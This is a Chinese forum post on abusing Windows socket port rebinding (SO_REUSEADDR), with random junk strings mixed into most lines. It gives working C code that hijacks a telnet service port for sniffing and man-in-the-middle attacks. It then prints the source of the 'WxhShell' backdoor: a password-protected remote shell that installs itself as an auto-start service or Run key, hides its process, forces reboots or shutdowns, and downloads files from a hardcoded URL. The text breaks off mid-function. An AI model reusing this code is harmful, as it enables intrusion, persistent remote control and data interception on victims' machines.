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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :NU-C!eT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "M6a_rZ2W  
[i[G" %Q  
  saddr.sin_family = AF_INET; 7HPLD&WPt  
c?) pn9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )DMu`cD  
#%VprcEK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $gDp-7  
nzy =0Ox[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t )Z2"_5  
N&NOh|YS  
  这意味着什么?意味着可以进行如下的攻击: Wy#`*h,  
9CJUOB>]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DjOFfD\MF  
567ot|cc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wI>JOV7  
WA Y<X:|We  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V$ 38  
V.WfP*~NJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2BH>TmS  
$Br^c< y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7g ]]>  
5K'EuI)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 37p0*%a":  
VK`_ Qc#B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uW>AH@Pij  
M0Z>$Az]t  
  #include _WK+BxH  
  #include QZ{&7mc>  
  #include NJqALm!(  
  #include    (m;P,*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !qrF=a  
  int main() 4NR,"l)  
  { miS+MK"  
  WORD wVersionRequested; {J})f>x<xM  
  DWORD ret; %>I!mD"X\  
  WSADATA wsaData; !P@u4FCs  
  BOOL val; yfTnj:Fz  
  SOCKADDR_IN saddr; n_Um)GI>  
  SOCKADDR_IN scaddr; u;J=g  
  int err; \(T; @r  
  SOCKET s; :#TJ-l:#  
  SOCKET sc; 1+eC'&@Xjt  
  int caddsize; -D:J$d 6R<  
  HANDLE mt; 1bzPBi  
  DWORD tid;   eE7 R d>  
  wVersionRequested = MAKEWORD( 2, 2 ); jLr8?Hyf  
  err = WSAStartup( wVersionRequested, &wsaData ); 4L!{U@ '  
  if ( err != 0 ) { IUd>jHp`6  
  printf("error!WSAStartup failed!\n"); ItM?nyA  
  return -1; c09] Cp<  
  } { w!}:8p  
  saddr.sin_family = AF_INET; b@YSrjJ  
   rA=F:N 2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jv2l_  
@2$PU{dH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [-6j4D  
  saddr.sin_port = htons(23); ;k b^mJE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h(/|`   
  { ] (MXP,R  
  printf("error!socket failed!\n"); 7h&xfrSrD  
  return -1; twgU ru  
  } 0?p_|X'_  
  val = TRUE; EzNmsbtZ(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hNx`=D9[7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d0-}Xl  
  { Yf{s0Z  
  printf("error!setsockopt failed!\n"); $,i:#KT`  
  return -1; K:'pK1zy  
  } FC]? T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S}Mxm 2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9HTb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 00;=6q]TA  
$ya#-pi`;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {g/\5Z\b  
  { `dL9sfj>  
  ret=GetLastError(); E/U1g4S  
  printf("error!bind failed!\n"); t:=Ui/!q  
  return -1; O')Ivm,E  
  } Kq{s^G  
  listen(s,2); ~S-x-cZ  
  while(1) ?WAlW,H>  
  { ]-* }-j`  
  caddsize = sizeof(scaddr); O)9T|, U  
  //接受连接请求 PI?-gc?[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JC=Bxv  
  if(sc!=INVALID_SOCKET) 8: s3Q`O  
  { |AFF*]e S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )3)L  
  if(mt==NULL) mnil1*-c0  
  { W;KHLHp-  
  printf("Thread Creat Failed!\n"); &q":o 'q  
  break; d+&V^qLJ  
  } m k -" U7;  
  } v0$6@K;M4G  
  CloseHandle(mt); i}wu+<Mk  
  } hJd#Gc~*M  
  closesocket(s); :nwcO3~`  
  WSACleanup(); GuDus2#+  
  return 0; +,|-4U@dl  
  }   Rb9Z{Clq>  
  DWORD WINAPI ClientThread(LPVOID lpParam) aaaC8;.  
  { tkuN$Jl  
  SOCKET ss = (SOCKET)lpParam; 3Ji,n;QLm  
  SOCKET sc; *f4KmiQ~ %  
  unsigned char buf[4096]; M/1Q/;0P  
  SOCKADDR_IN saddr; 4&y_+  
  long num; L\-T[w),z7  
  DWORD val; j ^_ G  
  DWORD ret; 2iH ,U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .5 dZaI)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @Rx/]wyH  
  saddr.sin_family = AF_INET; K/%aoTO}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QGshc  
  saddr.sin_port = htons(23); 3}h&/KN{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;^rZ"2U l  
  { CiMy_`H  
  printf("error!socket failed!\n"); 3i s .c)  
  return -1; G %#us3x  
  } S>"dUM  
  val = 100; ,#c-"x Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^ 1J;SO|  
  { n:#ji|wM  
  ret = GetLastError(); Xp{gh@#dr  
  return -1; y!v$5wi  
  } @{ nT4{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vm6^'1CY  
  { u*9C(je  
  ret = GetLastError(); }XXE hOO  
  return -1; k"sL.}$  
  } QY^ y(I49  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EI_J7J+  
  { tXp)o >"  
  printf("error!socket connect failed!\n"); 2XI%4  
  closesocket(sc); SA/0Z=  
  closesocket(ss); ,U2D &{@  
  return -1; Uc6U!X  
  } R/b=!<  
  while(1) 2#E;5UYu  
  { *=sU+x&X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1i>)@{P&BN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;ib~c,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KK] >0QAY  
  num = recv(ss,buf,4096,0); d9^=#ot  
  if(num>0) pixI&iQ  
  send(sc,buf,num,0); ' l!QGKz  
  else if(num==0) lhjPS!A~  
  break; |QzPY8B9O  
  num = recv(sc,buf,4096,0); nB:Bw8U"Q  
  if(num>0) de`6%%|  
  send(ss,buf,num,0); mWGT (`|~/  
  else if(num==0) Awr]@%I  
  break; 5S7Z]DXiT8  
  } CY 7REF  
  closesocket(ss); v(t&8)Uu  
  closesocket(sc); | 'z)RFqj  
  return 0 ; I+<;D sp  
  } =k8A7P  
+L49 pv5  
1/fvk  
========================================================== keWgbj  
"Km`B1f`  
下边附上一个代码,,WXhSHELL K3Xy%pqR#  
*Z0}0< D@Z  
========================================================== @+ 2Zt%  
V2y[IeSQ  
#include "stdafx.h" brVT  
:heJ5* !,  
#include <stdio.h> A%2!Hr  
#include <string.h> l%U9g  
#include <windows.h> tou^p-)GQ|  
#include <winsock2.h> %!=YNm  
#include <winsvc.h> u( o@_6  
#include <urlmon.h> r;'!qwr  
s=d?}.E$  
#pragma comment (lib, "Ws2_32.lib") j=gbUXv/  
#pragma comment (lib, "urlmon.lib") EP8LJzd"  
J\{)qJ*jp  
#define MAX_USER   100 // 最大客户端连接数 $_ NaxV  
#define BUF_SOCK   200 // sock buffer D{4 Y:O&J  
#define KEY_BUFF   255 // 输入 buffer e-s@@k  
Vnl~AQfk|  
#define REBOOT     0   // 重启 \vT8 )\  
#define SHUTDOWN   1   // 关机 ^ ID%pd  
nph{  
#define DEF_PORT   5000 // 监听端口 %*/[aq,#  
'v,W gPe  
#define REG_LEN     16   // 注册表键长度 =DCQ!02  
#define SVC_LEN     80   // NT服务名长度 /# eBDo  
>:xnjEsi$/  
// 从dll定义API >2|#b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [L\w] 6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0hv[Ff  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z/I!\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eGE%c1H9a  
hT_snb;ow  
// wxhshell配置信息 BNByaC  
struct WSCFG { iIT<{m&`  
  int ws_port;         // 监听端口 -@73"w/  
  char ws_passstr[REG_LEN]; // 口令 lfKknp#B/O  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZHBwoC#5}  
  char ws_regname[REG_LEN]; // 注册表键名 54OYAkPCk  
  char ws_svcname[REG_LEN]; // 服务名 V|D;7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nJ?C4\#3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OYzJE@r^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A1@-;/H3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Rvxjy)[N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kzm_AHA)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3}+/\:q*  
X}!_p& WI  
}; U!'lc} 5  
%MIu;u FR  
// default Wxhshell configuration = MXF`k^}  
struct WSCFG wscfg={DEF_PORT, she`_'?5  
    "xuhuanlingzhe", r" D|1  
    1, \xdt|:8  
    "Wxhshell", 3xe8DD  
    "Wxhshell", 0g+@WK6y  
            "WxhShell Service", UtutdkaS  
    "Wrsky Windows CmdShell Service", dnx}c4P  
    "Please Input Your Password: ", GGBe/X  
  1, a~%ej.)l  
  "http://www.wrsky.com/wxhshell.exe", _c&*'IY[V  
  "Wxhshell.exe" )FP|}DCxQ  
    }; 0L1P'*LRU  
%pt $S~j  
// 消息定义模块 4/jY;YN,2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J!H5{7.efN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \w:u&6,0O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qYh,No5\;t  
char *msg_ws_ext="\n\rExit."; -3V~YhG  
char *msg_ws_end="\n\rQuit."; i`Yf|^;@2>  
char *msg_ws_boot="\n\rReboot..."; b'OO~>86  
char *msg_ws_poff="\n\rShutdown..."; !69^ kIi$  
char *msg_ws_down="\n\rSave to "; -r2cK{Hhp&  
cU>&E* wD  
char *msg_ws_err="\n\rErr!"; 7m jj%  
char *msg_ws_ok="\n\rOK!"; QA3l:D}u  
N!v@!z9Mu  
char ExeFile[MAX_PATH]; ArEpH"}@  
int nUser = 0; `8-aHPF-  
HANDLE handles[MAX_USER]; 6?lg 6a/eO  
int OsIsNt; rNAu@B  
J'EK5=H  
SERVICE_STATUS       serviceStatus; M;9+L&p=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =6dKC_Q  
0 mQ3P.9  
// 函数声明 HB}gn2 .1&  
int Install(void); Pjy?&;GvT  
int Uninstall(void); Mz^s^aJEE  
int DownloadFile(char *sURL, SOCKET wsh); |:?.-tq  
int Boot(int flag); o ,!"E^  
void HideProc(void); So^`L s;S  
int GetOsVer(void); L7g&]%  
int Wxhshell(SOCKET wsl); vP4Ij  
void TalkWithClient(void *cs); s,k1KTXg<B  
int CmdShell(SOCKET sock); IX(yajc[~M  
int StartFromService(void); =, 0a3D6b  
int StartWxhshell(LPSTR lpCmdLine); 9e&#;6l  
GW#kaqC1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :2My|3H\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z]YhQIU4n8  
ob7_dWAG  
// 数据结构和表定义 'k67$H  
SERVICE_TABLE_ENTRY DispatchTable[] = s,v#lJ]d0W  
{ >2:Sv1T  
{wscfg.ws_svcname, NTServiceMain}, c 2@@Rd~M  
{NULL, NULL} ##_Za6/n  
}; C]H <L#)ZU  
v6VhXV6$|  
// 自我安装 ~ t H s+  
int Install(void) TxvPfU?  
{ kn"x[{d  
  char svExeFile[MAX_PATH]; jq]"6/xxb  
  HKEY key; GN9_ZlC  
  strcpy(svExeFile,ExeFile); 9/M!S[N9  
?>8zU;Aj  
// 如果是win9x系统,修改注册表设为自启动 #[W[ |m  
if(!OsIsNt) { UT~2}B9fc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E, fp=.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nc~d*K\!  
  RegCloseKey(key); 4sQAR6_SW~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {?y7'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +E~`H^  
  RegCloseKey(key); Z ~9N  
  return 0; aTm.10{^  
    } weV#%6=5\  
  } pCUOeQL(  
} zrO|L|F&P  
else { ss{=::#  
uq%3;#[0  
// 如果是NT以上系统,安装为系统服务 I0vn d7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C<t>m_t9  
if (schSCManager!=0) .^S78hr]n  
{ F\R}no5C  
  SC_HANDLE schService = CreateService cOZ^huK  
  ( }hitU(5t0  
  schSCManager, kA;Tr4EA6  
  wscfg.ws_svcname, T:">,* |  
  wscfg.ws_svcdisp, Iq]6]  
  SERVICE_ALL_ACCESS, Pu*HZW3l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8VmN? "5v  
  SERVICE_AUTO_START, 1!wEXH(  
  SERVICE_ERROR_NORMAL, &i^NStqu  
  svExeFile, yn[ZN-H~  
  NULL, b DS1'Ce  
  NULL, 9sj W  
  NULL, 8@KFln )[  
  NULL, SWsv,  
  NULL Mgs|*u-5  
  ); V8$bPVps  
  if (schService!=0) B 9Q. s  
  { t/WnDR/fM  
  CloseServiceHandle(schService); zlztF$Bo  
  CloseServiceHandle(schSCManager); >Mz|e(6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J<#`IaV  
  strcat(svExeFile,wscfg.ws_svcname); SzlfA%4+GR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 64']F1p0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !TL}~D:J  
  RegCloseKey(key); K('l H-3wS  
  return 0; 51opP8  
    } rY?F6'}  
  } >MWpYp  
  CloseServiceHandle(schSCManager); ynbpewaa  
} P&3/nL$9N  
} _L'cyH.cn  
j~S!!Z ]  
return 1; , ."(Gp  
} <GgtP55  
u?3NBc$~A  
// 自我卸载 AJ` v  
int Uninstall(void) AV 5\W}  
{ O;e8ft '|  
  HKEY key; e_k _ ty`  
lhA s!\F  
if(!OsIsNt) { 9>&tMq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QcG5PV  
  RegDeleteValue(key,wscfg.ws_regname); EhPVK6@  
  RegCloseKey(key); I,<54? vS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJo^Wo  
  RegDeleteValue(key,wscfg.ws_regname); &<V_[Wh"  
  RegCloseKey(key); \*%i#]wO@  
  return 0; k\c &2T]W  
  } IO!1|JMr6  
} XBQ<  
} Dyk[u g5  
else { y^QYl ZO  
A]iv)C;]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k g,ys4  
if (schSCManager!=0) hHc^ZA  
{ &:;;u\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f;Bfh3  
  if (schService!=0) .eabtGO,  
  { R=amKLD?  
  if(DeleteService(schService)!=0) { 4-+ozC{  
  CloseServiceHandle(schService); h lkvk]v  
  CloseServiceHandle(schSCManager); E/7vIg F  
  return 0; qbU1qF/  
  } j[/SXF\=  
  CloseServiceHandle(schService); ]opW; |{e  
  } !0OD(XT  
  CloseServiceHandle(schSCManager); [CDXCV-z  
} hX8gV~E=y  
} 1t[;`iZ  
- Y8ks7  
return 1; rO(TG  
} T018)WrhL  
c BHL,  
// 从指定url下载文件 ,%?; \?b%h  
int DownloadFile(char *sURL, SOCKET wsh) WS1&3mOd  
{ y*}vG}e%  
  HRESULT hr; DN"S,  
char seps[]= "/"; (K*/Vp  
char *token; &e ?"5  
char *file; "$W|/vD+  
char myURL[MAX_PATH]; q: TT4MUj<  
char myFILE[MAX_PATH]; b =K6IX;  
5%QC ][,  
strcpy(myURL,sURL); @L[PW@:SZ  
  token=strtok(myURL,seps); /lr1hW~Dbk  
  while(token!=NULL) K_AtU/  
  { c?.r"5#  
    file=token; k=T-L  
  token=strtok(NULL,seps); N75 3  
  } &e-#|p#v  
#hgmUa  
GetCurrentDirectory(MAX_PATH,myFILE); =!?[]>Dh  
strcat(myFILE, "\\"); < QDr,Hj  
strcat(myFILE, file); \!UF|mD^tG  
  send(wsh,myFILE,strlen(myFILE),0); jr, &=C(  
send(wsh,"...",3,0); DJViy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "ep`  
  if(hr==S_OK) @ ],6SKbG6  
return 0; :BL'>V   
else I|KY+k> /  
return 1; 8h&oSOkQk,  
h v$uH7Fz  
} 5u;Rr 1D  
!,? <zg  
// 系统电源模块 FJsK5-  
int Boot(int flag) ?kL|>1TY  
{ 1V|< A  
  HANDLE hToken; ( zn_8s  
  TOKEN_PRIVILEGES tkp; n|70x5Z?}J  
$` Z>Lm*  
  if(OsIsNt) { S'Z70 zJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dGbU{#"3s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2^)D .&  
    tkp.PrivilegeCount = 1; c*x J=Gz6d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QKp+;$SE'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +cz"`T`X 2  
if(flag==REBOOT) { .cg=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pqyWv;  
  return 0; aBXYri  
} ;cv.f>Cm  
else { zwM"`z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T} n N=Q4  
  return 0; ^>N8*=y  
} 4Qa@`  
  } )XLj[6j0  
  else { >Z#uFt0<Pm  
if(flag==REBOOT) { )-bD2YA{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5h`m]#YEG  
  return 0; NuC-qG#  
} rNxrQ  
else { K\RWC4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \%sPNw=e  
  return 0; &Ki> h  
} j0g5<M  
} Nk96"P$P  
$|4cJ#;^L  
return 1; !oZQ2z~  
} %04:z77  
c3=-Mq9Q  
// win9x进程隐藏模块 ,>D ja59  
void HideProc(void) )Rjb/3*!  
{ @v>l[6]>^  
Mw/?wtW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vuYO\u+ud  
  if ( hKernel != NULL ) N]B)Fb  
  { VZ\O9lD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^oS$>6|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uQH%.A  
    FreeLibrary(hKernel); }x*7l`1  
  } Ct4LkmD  
lV P9=  
return; p86~~rvq[  
} R'rTE  
>%-Hj6%  
// 获取操作系统版本 !Tv?%? 2l  
int GetOsVer(void) CPVzX%=  
{ ZU=,f'bU  
  OSVERSIONINFO winfo; r eGm>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^'m\D;  
  GetVersionEx(&winfo); *6:v}#b[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^#]c0  
  return 1; ?nQ_w0j  
  else _b>F#nD,'%  
  return 0; ):e+dt  
} J!rY 6[ t  
Vwjk[ DOL  
// 客户端句柄模块 ov8 ByJc  
int Wxhshell(SOCKET wsl) ? Phk~ jE  
{ kW#S]fsfU  
  SOCKET wsh; q[-|ZA bbr  
  struct sockaddr_in client; n'T He|:I  
  DWORD myID; 538fK9[  
G 0hYFc u  
  while(nUser<MAX_USER) @&;(D!_&  
{ Z+ixRch@-s  
  int nSize=sizeof(client); v2d<o[[C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Odm#wL~E  
  if(wsh==INVALID_SOCKET) return 1; IE2CRBfs  
)IQ*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X:>$ 8^gS  
if(handles[nUser]==0) `)T&~2n  
  closesocket(wsh); >QXzMN}o  
else _IWxYp  
  nUser++; 2d-{Q 8Pi  
  } cgyp5\*>+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;(7-WnU8N  
C\7u<2c  
  return 0; o7.e'1@  
} sI'a1$  
D}-o+6TI?  
// 关闭 socket %;7.9%  
void CloseIt(SOCKET wsh) ]Kv q |}=  
{ k}GjD2m  
closesocket(wsh); Y,C=@t@_  
nUser--; Q $]YD pCM  
ExitThread(0); /#f^n]v  
} {3LA%xO  
+]c/&Xo!  
// 客户端请求句柄 vYdR ht\(  
void TalkWithClient(void *cs) n0Go p^3  
{ Jy]Id*u9  
6JhMkB^h  
  SOCKET wsh=(SOCKET)cs; ygN>"eP  
  char pwd[SVC_LEN]; pV7N byb4  
  char cmd[KEY_BUFF]; {Bh("wg$Lk  
char chr[1]; Ea-bC:>  
int i,j; !DPF7x(-{  
61} i5o  
  while (nUser < MAX_USER) { /t*YDWLg  
OiF{3ae(  
if(wscfg.ws_passstr) { i\)3l%AK]T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ql8bt77eI-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ry?4h\UX5  
  //ZeroMemory(pwd,KEY_BUFF); e # 5BPI  
      i=0; LEZ&W ;bCo  
  while(i<SVC_LEN) { *:g_'K"+  
gyev5txn  
  // 设置超时 Z, T#,  
  fd_set FdRead; rFey4zzz  
  struct timeval TimeOut; pLnB)z?  
  FD_ZERO(&FdRead); h./P\eDc  
  FD_SET(wsh,&FdRead); yoQ\lk  
  TimeOut.tv_sec=8; C`QzT{6!  
  TimeOut.tv_usec=0; XV>@B $hu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :Xfn@>;3ui  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &+01+-1hW  
9cG<hX9`F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^]>aHz9  
  pwd=chr[0]; l'6d4 DZ  
  if(chr[0]==0xd || chr[0]==0xa) { !77NG4B  
  pwd=0; )MSZ2)(  
  break; @E%DP9.I  
  } H=p`T+  
  i++; 'N\&<dT>  
    } L&kr{7q  
)6-9)pH@)  
  // 如果是非法用户,关闭 socket  w_Uh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _fn1)  
} l+zb~  
vN65T$g7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n-J2/j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dz-y}J11  
t> xd]ti  
while(1) { (RE2I  
U%>'"  
  ZeroMemory(cmd,KEY_BUFF); _Zc4=c,K  
O,s.D,S  
      // 自动支持客户端 telnet标准   P|xG\3@Z  
  j=0; O)]v;9oER  
  while(j<KEY_BUFF) { UV AJxqz%}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [&#/|zH'j:  
  cmd[j]=chr[0]; I[d]!YI}F  
  if(chr[0]==0xa || chr[0]==0xd) { <41ZZ0<EwY  
  cmd[j]=0; QA?oJ_}y  
  break; [=uIb._Wv  
  } eKG2*CV  
  j++; I4t*?  
    } D#Kuo$  
^zr^ N?a  
  // 下载文件 `VT>M@i/  
  if(strstr(cmd,"http://")) { |^a;77nE_^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _mJG5(|  
  if(DownloadFile(cmd,wsh)) o6a0'vU><  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W\cjdd  
  else }^%xvmQ\]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); taWqSq!  
  } I :l01W;  
  else { +v7) 1y  
[ MyE2^  
    switch(cmd[0]) { UzG[:ic%  
  Z7a945Jd  
  // 帮助 l dqLM  
  case '?': { FwG!>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <RXwM6G2  
    break; pQa:pX  
  } ny*i+4Mb  
  // 安装 O.QK"pKD\  
  case 'i': { FX}Gt=  
    if(Install()) ezm&]F`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n3KI+I%nQ  
    else ZZxk]D<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"1|AJo)  
    break; lDU_YEQ>  
    } Um` !%  
  // 卸载 W 7sn+g \  
  case 'r': { [?0d~Q(R#  
    if(Uninstall()) i|WQ0fD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4hs)b  
    else B?bW1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >jg0s)RA'  
    break; r! %;R?c  
    } ?C-Towo=i  
  // 显示 wxhshell 所在路径 78 f$6J q  
  case 'p': { kz} R[7  
    char svExeFile[MAX_PATH]; @N@F,~[RR2  
    strcpy(svExeFile,"\n\r"); 3gEMRy*+  
      strcat(svExeFile,ExeFile); 9=`Wp6Gmn  
        send(wsh,svExeFile,strlen(svExeFile),0); p@ NaD=9  
    break; pzZk\-0R  
    } #5} wuj%5  
  // 重启 YJV%a  
  case 'b': { .a'f|c6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7gF"=7{-  
    if(Boot(REBOOT)) O+q/4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88s/Q0l  
    else { 6%G-Vs]*2  
    closesocket(wsh); ~`ny @WD9  
    ExitThread(0); };L ^w :  
    } ^h' Sla  
    break; $g0+,ll[6  
    } ]=pR  
  // 关机 S$,'Q^~K  
  case 'd': { u\yVR$pQ  
